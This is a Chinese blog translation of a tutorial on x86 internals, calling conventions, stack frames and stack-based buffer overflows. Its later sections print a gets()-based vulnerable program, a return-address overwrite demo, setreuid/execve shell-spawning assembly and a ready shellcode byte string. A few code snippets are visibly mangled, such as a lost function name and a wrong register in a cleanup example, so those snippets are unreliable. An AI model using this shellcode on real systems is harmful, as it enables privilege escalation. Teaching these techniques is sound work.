C/C++ and Buffer Overflow Topics
原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处、作者信息和本声明。否则将追究法律责任。http://blog.csdn.net/taotaoyouarebaby/article/details/24010649
之前翻译的一份文档,未逐字翻译,只翻译了主要知识点。复制到网页后,格式有点乱,提供PDF下载
英文原文网址:http://www.tenouk.com/cncplusplusbufferoverflow.html
缓冲区溢出由于病毒与蠕虫在互联网的大规模影响而为人熟知。C/C++程序因为缓冲区溢出,产生了许多安全问题。
1. 介绍
1.1. 产生缓冲区溢出的情况:
n 使用非类型安全的语言:C/C++,无数组边界检查和类型安全检查。
n 以不安全的方式操作或复制一个栈缓冲区。
eg:未正确使用strcpy(), gets(), scanf(), sprintf(), strcat()操作字符串,导致其它区域被复写。
n 编译器将缓冲区与重要的数据结构放的太近。
缓冲区与函数返回地址、virtual-table,局部变量,异常handler地址,函数指针都放在栈中相邻区域。使得可以通过缓冲区溢出,覆写以上重要的数据结构,从而引导程序执行恶意代码。
比如:如果将函数返回地址修改为恶意代码地址,那么在函数返回时就会执行相应的恶意代码。
1.2. 缓冲区溢出的后果:
www.cert.org Computer Emergency Response Team (CERT)
www.frsirt.com 代码示例
www.caida.org 病毒与蠕虫攻击的分析
n 程序崩溃。
n 运行恶意代码。
1.3. 缓冲区溢出的相关概念
缓冲区(Buffer):一块内存区域,用于存储变量。有以下两种类型的缓冲区:
n 栈(Stack):运行时隐式分配的,用于存储变量的一块内存区域。栈结构。
n 堆(Heap):运行时显示分配的,用于存储变量的一块内存区域。堆结构。
溢出类型 |
描述 |
栈溢出 |
向一个缓冲区写入数据时,大于了分配给它的内存大小。很有可能复写栈中的其它重要数据,进而破坏栈结构。通常是由于未检查用户输入数据造成的。 |
堆溢出 |
与栈溢出类似。这类溢出不易被恶意利用。 |
数组溢出 |
数组下标为负,或大于最大下标。 |
2. X86架构基础——32位处理器
2.1. 基本的寄存器
寄存器种类 |
|
8个32位的通用寄存器 |
|
6个16位的段寄存器/段选择器 |
FS、GS在Itel32中引入的 |
1个32位的的标志寄存器(EFLAGS) |
|
1个32位的指令寄存器(EIP) |
通用寄存器的主要作用:
Register Name |
Size (in bits) |
Purpose |
AL, AH/AX/EAX |
8,8/16/32 |
也叫做累加器,主要用于保存算术运算结果和函数返回值。 |
BL, BH/BX/EBX |
8,8/16/32 |
基址寄存器,指向DS段中的数据,用于保存程序的基址。 |
CL, CH/CX/ECX |
8,8/16/3 |
计数器,通常用于循环计数和字符串操作 |
DL, DH/DX/EDX |
8,8/16/32 |
通常用于I/O操作,也用于扩展EAX为64位。 |
SI/ESI |
16/32 |
源地址寄存器。指向DS段中的数据,常被用来作为字符串和数组操作中的偏移量,保存数据源的地址。 |
DI/EDI |
16/32 |
目的地址寄存器。指向ES段中的数据,常被用来作为字符串和数组操作中的偏移量,保存目标地址。 |
BP/EBP |
16/32 |
栈基址指针寄存器。保存当前栈结构底部的地址,指向SS段中的数据,通常用于引用局部变量。 |
SP/ESP |
16/32 |
栈顶指针寄存器(SS)。指向当前栈结构的顶部,也用于引用局部非静态变量。 |
2.2. 段寄存器
6个段寄存器保存了段地址的高16位(低位为0),由此定位内存中的段。4个数据段寄存器:DS, ES, FS, GS。为高效而安全的访问不同类型的数据提供了支持。
eg:可能的4种数据段
l 当前模块的数据 l 上层模块输出的数据 l 动态创建的数据 l 程序间共享的数据 |
X86段寄存器及其用处:
寄存器 |
位 |
目的 |
|
CS |
16 |
代码段寄存器。代码段基地址(.text 段), 用于获取指令。 |
这些段寄存器用于将程序分成不同的部分。当程序执行时,各段的基地址赋给了段寄存器。通过段寄存和偏移量就可以操作程序的不同内存区域。 |
DS |
16 |
数据段寄存器。 数据的默认基地址(.data 段), 用于操作数据。。 |
|
ES |
16 |
Extra段寄存器,用于字符串操作。 |
|
SS |
16 |
栈段寄存器,栈段的基地址,配合SP, ESP, BP, EBP使用。 |
|
FS |
16 |
通用的段寄存器 |
|
GS |
16 |
注:
l CS不能由程序设置。
l SS可以能和程序设置,从而一个程序可以有多个栈。
2.3. 内存模型
内存模型 |
支持的地址 |
flat 内存模型 |
near pointers (32 bits) |
segmented内存模型 |
near pointers (32 bits)、far pointers (48 bits) |
real-address模式内存模型 |
20bit bus |
2.3.1. Flat内存模型
线性地址空间:一个程序的代码、数据和栈全都在该地址空间中。
2.3.2. Segmented内存模型
程序使用的内存被分为几个独立的地址空间(叫做段)。代码、数据和栈通常被分成单独的段。段模型的地址究竟与处理器的物理地址空间之间的映射:直接映射与分页机制(虚拟内存:段地址->虚拟内存地址->物理地址)
地址定位:
segment:offset |
计算:
通常的段寄存器使用方式:
2.3.3. real-address mode (实模式)内存模型
用于兼容8086程序。内存分段,每段<=64KB,最大访存空间1M.
2.4. 标志寄存器
标志类型:状态、控制、系统标志
2.4.1. 状态标志:
Flag |
Bit |
Purpose |
CF |
0 |
进位标志。算术操作中,如果最高位发生进位或借位则被设置上,否则清空。该标志指示了无符号整型变量,在算术运算时的溢出情况。它也可用于多精度算术运算。 |
PF |
2 |
Parity flag. Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise. |
AF |
4 |
Adjust flag. Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result, cleared otherwise. This flag is used in Binary-Coded-Decimal (BCD) arithmetic. |
ZF |
6 |
Zero flag. Set if the result is zero, cleared otherwise. |
SF |
7 |
Sign flag. Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. 0 indicates a positive value, 1 indicates a negative value. |
OF |
11 |
Overflow flag. Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise. This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic. |
2.5. EIP指令地址寄存器
不能通过指令显式操作,只能利用程序流程控制指令操作,此外在调用函数时可以从函数栈中取得。
Register |
size (bits) |
Purpose |
IP/EIP |
16/32 |
保存下一条要执行的指令的地址。 |
2.6. 控制寄存器
32位的控制寄存器(CR0, CR1, CR2, CR3, and CR4)用于决定处理器的执行模式,以及当前所执行的任务的特性。
Control Register |
Description |
CR0 |
控制标识,用于控制处理器的执行模式与状态。 |
CR1 |
保留 |
CR2 |
包含产生缺页的线性地址。 |
CR3 |
包含页目录的基址(物理地址)和两个标识(PCD and PWT)。也叫:页目录基址寄存器(PDBR)。 只有页目录基址只有高20位被指定,低12位设定为0。 When using the physical address extension, the CR3 register contains the base address of the page-directory-pointer table. |
CR4 |
Contains a group of flags that enable several architectural extensions. In protected mode, the move-to-or-from-control-registers forms of the MOV instruction allow the control registers to be read (at any privilege level) or loaded (at privilege level 0 only). This restriction means that application programs (running at privilege levels 1, 2, or 3) are prevented from loading the control registers; however, application programs can read these registers. |
2.7. 小端与大端
CD12AB90H
Big Endian |
Little Endian |
高位à低地址 |
高位à高地址 |
CD12AB90H |
CD12AB90H |
3. 汇编语言
通用规则:
l 源:内存、寄存器、常量
l 目标:内存、非段寄存器
l 源与目标不能同时为内存
l 源与目标必须具有同样大小。(位?)
指令分类:
Instruction Category |
Meaning |
Example |
Data Transfer |
move from source to destination |
mov, lea, les, push, pop, pushf, popf |
Arithmetic |
arithmetic on integers |
add, adc, sub, sbb, mul, imul, div, idiv, cmp, neg, inc, dec, xadd, cmpxchg |
Floating point |
arithmetic on floating point |
fadd, fsub, fmul, div, cmp |
Logical, Shift, Rotate and Bit |
bitwise logic operations |
and, or, xor, not, shl/sal, shr, sar, shld and shrd, ror, rol, rcr and rcl |
Control transfer |
conditional and unconditional jumps, procedure calls |
jmp, jcc, call, ret, int, into, bound.
|
String |
move, compare, input and output |
movs, lods, stos, scas, cmps, outs, rep, repz, repe, repnz, repne, ins |
I/O |
输入输出 |
in, out |
Conversion |
汇编数据类型转换 |
movzx, movsx, cbw, cwd, cwde, cdq, bswap, xlat |
Miscellaneous |
manipulate individual flags, provide special processor services, or handle privileged mode operations |
clc, stc, cmc, cld, std, cl, sti |
4. 编译器、汇编器、链接器和加载器
处理流程:
4.1. 对象文件与可执行文件
对象文件格式:
Object File Format |
Description |
a.out |
a.out格式是UNIX最初的执行文件格式。它由一部分组成:text, data, 和bss,分别表示代码, 已初始化数据, 和未初始化数据。 不包含调试信息。 |
COFF |
COFF (Common Object File Format) 格式由System V Release 3 (SVR3) Unix引入。 COFF 可以有多个部分,每部分以一下特定的header作为前缀,数量受限。支持调试,但调试信息有限。 |
ECOFF |
COFF的变种。 ECOFF 为 Mips and Alpha 工作站设计. |
XCOFF |
XCOFF (eXtended COFF),COFF sections, symbols, and line numbers are used, 调试信息保存在.debug section (rather than the string table). The default name for an XCOFF executable file is a.out. |
PE |
PE(Portable Executable) 是由 COFF 和其它一些头信息构成。Windows 9x and NT使用PE做执行文件的格式。 |
ELF |
ELF (Executable and Linking Format) 格式由 System V Release 4 (SVR4) Unix引入。 ELF与 COFF 相似,但没有COFF的一些限制。 ELF 被用于现代UNIX系统、GNU/Linux, Solaris 和Irix。也用于一些嵌入式系统。 |
SOM/ESOM |
SOM (System Object Module) and ESOM (Extended SOM) is HP‘s object file and debug format |
Section可能包含的内容:
l 代码 l 数据 l 动态链接信息 l 调试信息 l 符号表 l 重定位信息 l 注释 l 字符串表 l Note |
所有可执行文件格式都包含的Section:编译器不同可能名称不同。
Section |
Description |
.text |
包含程序指令,该程序的所有进程共享此部分。READ, EXECUTE权限。 |
.bss |
BSS(Block Started by Symbol)包含未初始化的全局变量与静态变量。 因为BSS包含的变量没有值,所有该部分并没有保存变量的映像,只是在对象文件中记录了运行时该部分需要的内存大小。也就是说,.BSS并没有占用实际的对象文件空间。 |
.data |
包含已初始化的全局变量与静态变量,以及值。 该部分往往是可执行文件中最大的。READ/WRITE权限。 |
.rdata |
也叫做.rodata (read-only data) section. 包含常量与字符串常量。 |
.reloc |
保存在加载时,重定位映像所需要的信息。 |
Symbol table |
符号表:也就是变量/函数名,及其定义地址(相对于段的偏移量)。 包含定位程序符号引用与定义时,所需要的信息。 |
Relocation records |
Relocation 是连接符号引用与定义的过程。 relocation records用于链接器调整section内容。 |
4.2. Relocation Records
Relocation:分配加载地址,并按加载地址调整程序与数据的过程。在链接器对Object文件进行链接时,需要将所有Object文件中的相同section进行合并,并重新分配section的地址,从而合并为一个单独的可执行文件。进而导致可能需要修改原section中的部分symbol地址,使其满足新的section。
Relocation Records:是由编译器与汇率器创建的一个指针列表,保存在对象文件或可执行文件中。每一个条目表示了加载器重定位时需要修改的地址。用于支持程序的重定位。
4.3. Linker
使源文件单独编译成为可能。
4.3.1. 动态链接
对于C标准库中的函数,如果每个程序都单独复制一份,那么会造成很大的浪费。因此,将这类链接延迟到运行时进行。链接器只是将动态链接所需要知道的信息放到了可执行文件中:代码存在于哪个共享库中,使用哪个运行时链接器去查看和链接。
优点:
l 程序更小
l 使得动态升级程序成为可能。通过DLL
l 可以使程序有计划的自行加载当前需要的模块
l 与虚拟内存结合,使得进程可以共享同一份代码,大大节省了内存。
4.3.2. 静态链接
将程序依赖的代码全部链接进来。适用于程序运行时,环境中找不到需要链接的标准库版本。缺点是生成的文件很大。
eg: GCC静态链接
gcc -static filename.c -o executable-filename |
4.4. 怎样使用共享的Object文件
4.4.1. ELF格式详情
简化了共享库实现,增强了运行时模块的动态加载。使用Hash表进行symbol查找。
ELF section列表:
//从低到高 .init - Startup .text - String .fini - Shutdown .rodata - Read Only .data - Initialized Data .tdata - Initialized Thread Data .tbss - Uninitialized Thread Data .ctors - Constructors .dtors - Destructors .got - Global Offset Table .bss - Uninitialized Data |
简化的ELF文件格式:
Linking View :Section,包含指令、数据、重定位信息、符号表、调试信息……
Execution View :Segment,合并了对象文件中相关的Sections(也许是不同类型的Section,比如:.data与bbs被合并)为一个段。通常可执行代码与只读数据的section被合并为一个text段。其中有些段是需要加载的,但有些段是不需要加载的。
操作系统利用Program Header table提供的信息加载需要的段,并且可以利用这些段来生成共享的内存资源。
4.4.2. 进程加载
Linux进程将ELF格式文件从文件系统中加载。如果文件系统是块设备,则需要将代码与数据加载到主存中;如果文件系统是由内存映射的(eg:ROM/FLASH),代码将在原地执行。如果相同的进程被加载了多次,那么它的代码将被共享。程序需要先加载,之后才能运行。
l 加载器Loader的加载过程:
1. 内存与接入权限验证:
操作系统读取程序文件中的头信息,之后验证type,access permissions and right, 内存需求,以及是否支持程序指令。验证文件是可执行文件,并计算内存需求。
2. 进程安装
1) 分配主存 2) 将地址空间从辅存复制到主存 3) 复制.text, .data 段到主存 4) 复制程序参数(如:命令行参数)到堆栈 5) 初始化寄存器:设置ESP指向栈顶,清空其它。 6) 跳到启动点:复制main()的参数,跳到main()函数。 |
l 简化的进程内存空间:
注意Stack与Heap的位置与增长方向。
4.4.3. 进程运行时的数据结构
内存分配的不同区域及含义:
区域 |
描述 |
Code/text segment |
text段,保存指令,对应执行文件中的text section。任何时候,一个程序的指令在内存中只有一份。 |
Initialized data – data segment |
包含初始化为非0值的静态变量和全局变量,对应执行文件中的data section。同一程序的每个进程拥有单独的data段。 |
Uninitialized data – bss segment |
BSS 表示‘Block Started by Symbol’. 包含初始化为0值的静态变量和全局变量。进程私有。在ELF格式中,只有非0值变量才占用可执行文件的空间。 |
Heap |
动态内存区域,由malloc(), calloc(), realloc() and new – C++等进行分配,并通过指针来操作。 紧随bss段,Heap结束位置由break指令标记,大小可以通过brk(), sbrk()进行扩展(改变break指针)。向地址增大方向增长。 |
Stack |
栈段保存局部非静态变量,如:局部非静态变量,临时信息与数据,函数参数,返回地址。当前调用函数时,对需要的信息进行压栈,返回时弹出栈。 向地址减小方向增长(与Heap相反)。 |
当程序运行时,initializeddata, BSS and heap areas通常合并为data段,stack段和 code/text 段是与data段分离的。
Sections vs Segments:executable program segments andtheir locations.
Executable file section (disk file) |
Address space segment |
Program memory segment |
.text |
Text |
Code |
.data |
Data |
Initialized data |
.bss |
Data |
BSS |
- |
Data |
Heap |
- |
Stack |
Stack |
4.4.4. 进程
进程空间中位于stack与heap中间的区域是保留给共享代码的。
典型的C程序进程的内存布局(X86):
4.4.5. 运行时链接器与共享库加载
对于共享代码的链接时间:
l 加载时动态链接:加载到内存时进行链接
l 运行动态链接:引用时才进行链接
链接器的链接步骤:
共享库:提供其依赖的其它库信息,需要的重定位操作,查找外部符号。
1. 链接器开始加载共享库依赖的其它库(递归进行)
2. 为每个库,执行需要的重定位操作和涉及到的符号查找操作。
3. 在共享库的.initsection注册的初始化函数将会被调用。
4.4.6. 动态地址翻译
动态定位/动态地址翻译提供了以下错觉:
l 每个进程都能使用使0到Max的地址空间
l 地址究竟是受保护的
l 进程可以认为其可以使用的内存(虚拟内存)大于物理内存大小。
地址翻译由内存管理单元(MMU:Memory Management Unit)与处理器协作完成。
5. C/C++函数操作
5.1. C函数
l 语法:
global_variables;
int main(int argc, char *argv[]) { function_name(argument list); function_return_address here }
return_type function_name(parameter list) { local_variables;
static variables; function’s code here return something_or_nothing; }
|
函数调用通过栈实现。发生函数调用时,需要的信息将被压栈,函数返回时将内容出栈。
l 栈的使用,进程地址空间与物理地址空间映射:
5.2. 函数调用约定(VC++)
描述了函数调用时栈的创建与销毁操作是如何进行的。不同的函数调用规则,方式不同。
5.2.1. 函数调用的一般过程:
还可参考:Win/Intel平台,函数调用过程的数据入栈顺序
1. 所有参数都被增宽到4字节 (onWin32, of course),并被存储到合适的内存位置。通常的位置是栈,也可能是寄存器,由调用规则不同而不同。
2. 程序执行流程跳转到被调用函数(地址)
3. 进入函数后,ESI,EDI, EBX, EBP 寄存器值被保存到栈上,该操作由编译器自动生成的代码执行。
4. 函数指令被执行,返回值保存在EAX中。
5. 从栈上恢复ESI,EDI, EBX, EBP的值。 该操作由编译器自动生成的代码执行。
6. 清除栈上保存的参数,也叫做清栈。该操作可以由调用者或被调用者执行,取决于调用规则。
5.2.2. 具体指定以下三种规则:
1. 函数参数的压栈顺序
2. 清栈是调用者还是被调用函数的任务
3. 函数名命名规则:编译器用来标识一个函数的名字
5.2.3. VC++支持的函数调用规则:
只有__cdecl是由调用者清栈。
keyword |
Stack cleanup |
Parameter passing |
__cdecl |
caller |
函数参数从右到左进行压栈,调用者清栈。这是C/C++的默认调用方式。__cdecl调用方式产生的执行文件比__stdcall产生的要大,因为每个函数都需要清栈代码。但支持变长参数列表。 |
__stdcall |
callee |
也叫做 __pascal。 函数参数从右到左进行压栈,被调用者清栈,需要一个函数原型(?)。Win32 API函数的标准调用方式(WINAPI)。 |
__fastcall |
callee |
参数优先考虑通过寄存器传递,其次是栈,被调用者清栈。最开头的两个<=32bit的参数分别由ECX, EDX传递,其它的按右到左的顺序压栈。
|
Thiscall |
callee |
C++成员函数的调用方式。压栈顺序从右到左,this指针由ECX传递。对于带可变参数列表的的成员函数,this指针的传递方式不同,this指针最后入栈。被调用者清栈。 |
5.2.4. 代码中指定函数调用规则:
// Borland and Microsoft void __cdecl TestFunc(float a, char b, char c);
// GNU GCC void TestFunc(float a, char b, char c) __attribute__((cdecl)); |
5.2.5. 清栈的汇编表示:
/* example of __cdecl */ push arg1 push arg2 call function add ebp, 12 ;stack cleanup
/* example of __stdcall */ push arg1 push arg2 call function /* no stack cleanup, it will be done by caller */
|
5.3. 链接符号与名称修饰
void CALLTYPE TestFunc(void)
Calling convention |
extern "C" or .c file |
.cpp, .cxx |
Remarks |
__cdecl |
_TestFunc |
?TestFunc@@ZAXXZ |
参数数目并不重要,因为调用者负责创建和销毁栈。 |
__fastcall |
@TestFunc@N |
?TestFunc@@YIXXZ |
N—参数的byte数,0表示void。 |
__stdcall |
_TestFunc@N |
?TestFunc@@YGXXZ |
N—参数的byte数,0表示void。 |
示例:C语言
Function declaration/prototype |
Decorated name |
void __cdecl TestFunc(void); |
_TestFunc |
void __cdecl TestFunc(int x); |
_TestFunc |
void __cdecl TestFunc(int x, int y); |
_TestFunc |
void __stdcall TestFunc(void); |
_TestFunc@0 |
void __stdcall TestFunc(int x); |
_TestFunc@4 |
void __stdcall TestFunc(int x, int y); |
_TestFunc@8 |
void __fastcall TestFunc(void); |
@TestFunc@0 |
void __ fastcall TestFunc(int x); |
@TestFunc@4 |
void __ fastcall TestFunc(int x, int y); |
@TestFunc@8 |
5.4. 函数调用栈
函数调用中涉及的寄存器:
Register |
Description |
ESP – Stack Pointer |
通过PUSH, POP, CALL,RET来修改,总是指向当前栈的栈顶。 |
EBP – Base Pointer |
也叫做: Frame Pointer. 直接通过偏移量操作参数与局部变量。 |
EIP – Instruction Pointer |
下一条指令的地址。 |
函数调用的栈:
6. Stack
6.1. 处理器的Stack Frame布局
不同操作系统可以有所不同。由上图可知,如果缓冲区溢出,可以覆写其它重要的数据结构。
6.1.1. Win/Intel平台,函数调用过程的数据入栈顺序
参考:函数调用的一般过程:
1. 在进行函数调用之前,参数被压栈(右->左)
2. 函数返回地址(执行call指令时的EIP值),由call指令入栈。
3. 栈帧指针(EBP)入栈。保存之前的栈帧地址。
4. 如果函数包含异常处理结构(try/catch, SEH<Structured Exception Handling>),编译器添加的异常处理上将入栈。
5. 分配局部变量、缓冲区空间
6. 最后,被调用者将EBX, ESI,EDI寄存器值被入栈。对于Linux/Intel,这一步发生在第四步之后。
6.2. 处理器的栈操作
指令 |
描述 |
PUSH |
*--SP = src. |
POP |
dst = *SP++ |
PUSHAD |
将通用寄存器值入栈。 |
POPAD |
将通用寄存器值出栈。 |
PUSHFD |
将EFLAGS寄存器值入栈。 |
POPFD |
将EFLAGS寄存器值出栈。 |
6.3. 函数调用过程及栈的分析
6.3.1. 程序源码
#include <stdio.h> //MyFunc(7, ‘8’); int MyFunc(int parameter1, char parameter2) { int local1 = 9; char local2 = ‘Z’; return 0; } |
6.3.2. 与函数调用和栈操作相关的汇编代码,分析
在main函数中调用MyFunc函数:
;in main MyFunc(7, ‘8‘); 01281B1E push 38h ; ‘8’入栈, 从右往左入栈 01281B20 push 7 ; 7入栈 01281B22 call @ILT+460(_MyFunc) (12811D1h) ;调用函数,函数返回地址(EIP:01281B27 )入栈 01281B27 add esp,8 ; 将MyFunc函数栈清空 |
函数符号表及跳转指令:
@ILT+460(_MyFunc): ;函数修饰名 12811D1 jmp MyFunc (01281490h) |
MyFunc函数:
int MyFunc(int parameter1, char parameter2) { 01281490 push ebp ;保存调用者的EBP,位于MyFunc的[EBP+0]位置 01281491 mov ebp,esp ;ESP的值成为MyFunc的EBP值,ESP,EBP指向相同位置。 01281493 sub esp,0D8h ;减去216字节,为变量和缓冲区分配空间。ESP位于[EBP-216]的位置 01281499 push ebx ;push ebx at [EBP-220] 0128149A push esi ;push esi at [EBP-224] 0128149B push edi ;push edi at [EBP-228] //... return 0; 012814B9 xor eax,eax ;清空EAX,返回值为0 } 012814BB pop edi ;恢复edi from [EBP-228] 012814BC pop esi ;恢复esi from [EBP-224] 012814BD pop ebx ;恢复ebx from [EBP-220] 012814BE mov esp,ebp ;清空局部变量与缓冲区空间,ESP, EBP指向相同位置 012814C0 pop ebp ;恢复调用者的EBP 012814C1 ret ;将返回地址(01281B27H)从栈(MyFunc的[EBP+4]位置)载入EIP中, ;执行后继指令 |
//back to main 01281B27 add esp,8 ; 清空函数参数,7和’8’共8byte(参数都扩充为了4byte) |
注意:栈帧大小必须是栈宽度(stackslot)的整数倍。所以栈宽为32bit的栈,5字节的数据实际占用8字节内存,10字节数据实际占用12字节内存。
6.3.3. 函数调用栈内存布局
EBP寄存器被用来与偏移一起索引栈上的数据。
重要数据结构 |
栈地址 |
函数最左边的参数 |
[EBP+8] |
函数返回地址/旧EIP |
[EBP+4] |
旧栈帧指针/旧EBP |
[EBP+0] |
第一个局部变量 |
[EBP-4] |
EBX, ESI, EDI |
ESP, ESP-4, ESP-8 |
6.3.4. 定位返回地址
int main(int argc, char *argv[ ]) { char buffer[12]; strcpy(buffer, argv[1]); return 0; } |
l 使用gcc2.96或更低版本的栈内存布局
函数返回地址位置:&frist_local_var+ 4(EBP) + 4(ret)
l 使用gcc2.96或更高版本的栈内存布局
函数返回地址位置:&first_local_var+ (dummy) + 4(EBP) + 4(ret),根据dummy大小调整偏移量
6.3.5. 示例:修改返回地址
void hello() { printf("hello\n"); return ; }
void *(int a,int b) { int buf[2] = {1,2}; int *p; p = &a - 1; //函数返回地址 *p = (int)hello; return ; }
int main(void) { *(1, 2);
getchar(); return EXIT_SUCCESS; }
// // 运行结果: hello // |
6.4. 寄存器使用
通用寄存器
l ESP, EBP用于管理函数进出;
l EBX, ESI, EDI必须在进入函数后入栈保存旧值;
l ECX, EDX, EAX只有在需要时,才入栈保存旧值。
进入函数时常见的代码片段:
push ebx push esi push edi ; here should be codes that uses ; the EBX, ESI and EDI ;
pop edi pop esi pop ebx ret |
6.4.1. GCC与C调用规则——标准栈帧
Steps |
32-bit code/platform |
创建标准栈帧,为局部变量与缓冲区分配32byte的空间。保存寄存器值。 |
push ebp mov ebp, esp sub esp, 0x20 push edi push esi ... |
恢复寄存器值,销毁标准栈帧 |
... pop esi pop edi mov esp, ebp pop ebp ret |
栈的宽度 |
32 bits |
栈帧槽的位置 |
... [ebp + 12] [ebp + 8] [ebp + 4] [ebp + 0] [ebp – 4] ... |
6.4.2. GCC与C调用规则——返回值
C函数返回值存放位置:
Size |
32-bit code/platform |
8-bit return value |
AL |
16-bit return value |
AX |
32-bit return value |
EAX |
64-bit return value |
EDX:EAX |
128-bit return value |
hidden pointer |
6.4.3. GCC与C调用规则——保存寄存器值
被调用者需要保存的寄存器:
EBX, EDI, ESI, EBP, DS, ES, SS
不需要保存的寄存器:
EAX, ECX, EDX, FS, GS, EFLAGS, floating pointregisters
一些操作系统中,FS, GS段寄存器被用于保存线程局部存储空间地址,如果你要修改它们,那也需要保存。
7. 基于栈的缓冲区溢出与利用
下面的测试代码主要用于实现以下目的:覆写栈上保存的EBP和返回地址。通过gets()这个不安全的函数实现以上数据的覆写。
/* test buffer program */ #include <unistd.h>
void Test() { char buff[4]; printf("Some input: "); gets(buff); puts(buff); }
int main(int argc, char *argv[ ]) { Test(); return 0; }
|
输入12个A:
在实际的攻击中,会利用有意义的地址(攻击代码所在地址)对返回地址进行覆写。
7.1. 缓冲区溢出攻击中的目标
l 注入攻击代码(命令行输入、socket输入,或其它高级方法)
l 改变程序正常执行路径(通过覆写返回地址实现),执行攻击代码。
7.2. 基于栈的缓冲区溢出利用的变异
l 利用程序自身存在的缓冲区溢出漏洞,欺骗函数将大于缓冲区的数据写入,从而覆写返回地址,将执行路径导向攻击代码。这种方式可以通过多种途径阻止。
l 利用程序使用的共享库中存在的缓冲区溢出漏洞,覆写返回地址。
缓冲区溢出攻击时,攻击时必须要大致的知道返回地址的所在位置。
利用不可执行栈(不能在栈上执行代码)就可以阻上大部分这类型的攻击。
7.2.1. 更高级更新的攻击手段:覆写其它地址
l 函数指针
l ELF文件中的GOT指针(.got)
l ELF文件中的DTORS块(.dtors)
阻止手段:随机化以下地址
l 共享库
l 栈
l 程序堆
8. Shellcode
8.1. 基本概念
产生shell/命令行环境代码,缓冲区溢出时覆写的返回地址,通常就是shellcode代码所在的地址。而shellcode通常是提前编译,并将其二进制代码利用char数组保存为全局变量。当程序由修改的返回地址转到该全局变量所在位置时,就能执行该代码,从而创建一个shell环境。利用得到的shell环境可以执行攻击命令。
广义是讲,只要通过上述方式运行另一个程序的代码都叫做shellcode。
通常目标:通过有较高权限的程序,使得创建的shell具有root权限(在Windows中就是管理员权限或更高的LocalSystem权限)。
8.1.1. 通常的缓冲区溢出攻击涉及两个主要方面:
l 缓冲区溢出漏洞的利用技术
l 获得高权限的运行环境(playload),用于运行任意代码
8.1.2. 使程序运行shellcode的技术:
l 基于栈的缓冲区溢出
l 基于堆的缓冲区溢出
l 整数溢出
l 格式化字符串
l 竞争条件
l 内存污染
8.1.3. Shellcode元素
shellcode必须是二进制形式的代码。不能含有’\0’, 0X0A, 0X0D, ‘\’, nop。可以使用Encoder工具消除它们。
写的时候需要考虑:处理器,操作系统,网络防护软件(如:防火墙),入侵检测系统(IDS:Intrusion DetectionSystem)
8.2. Shellcode的不同表现形式
8.2.1. 汇编
#a very simple assembly (AT&T/Linux) program for spawning a shell .section .data .section .text .globl _start
_start: xor %eax, %eax mov $70, %al #setreuid is syscall 70 xor %ebx, %ebx xor %ecx, %ecx int $0x80
jmp ender
starter: popl %ebx #get the address of the string xor %eax, %eax mov %al, 0x07(%ebx) #put a NULL where the N is in the string movl %ebx, 0x08(%ebx) #put the address of the string #to where the AAAA is movl %ebx, 0x0c(%ebx) #put 4 null bytes into where the BBBB is mov $11, %al #execve is syscall 11 lea 0x08(%ebx), %ecx #load the address of where the AAAA was lea 0x0c(%ebx), %edx #load the address of the NULLS int $0x80 #call the kernel
ender: call starter .string "/bin/shNAAAABBBB" |
8.2.2. C语言
#include <unistd.h>
int main(int argc, char*argv[ ]) { char *shell[2];
shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); return 0; } |
8.2.3. 字符串
char shellcode[ ] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50 \x53\x89\xe1\x99\xb0\x0b\xcd\x80"; |
8.3. 创建可移植的shellcode
要创建可移植的shellcode,代码中就不能出现硬编码的地址(比如:字符串参数地址)。
.section .data #only use register here... .section .text .globl _start
jmp dummy
_start: #pop register, so we know the string location #Here we have assembly instructions which will use the string
dummy: call _start
.string "Simple String" |
dummy标签中使用call调用_start标签,主要是为了利用call会将其后的指令地址(EIP)作为返回地址压入栈中,这样一来就可以在_start标签中,从栈上弹出字符串地址。如下图所示:
图表1获取字符串地址的技巧
利用这种方法,可以将多个.string放到call指令之后,利用相对位置就可以得到.string数据的位置。
9. 附录
9.1. 中英名词对照
stack frame/frame:栈帧,栈中一个函数占据的空间。
section:块
function decorated name:函数修饰名,编译器用来标识一个函数的名称,也就是函数ID(唯一性)。
non-executable stack:不可执行栈,栈上不能执行代码。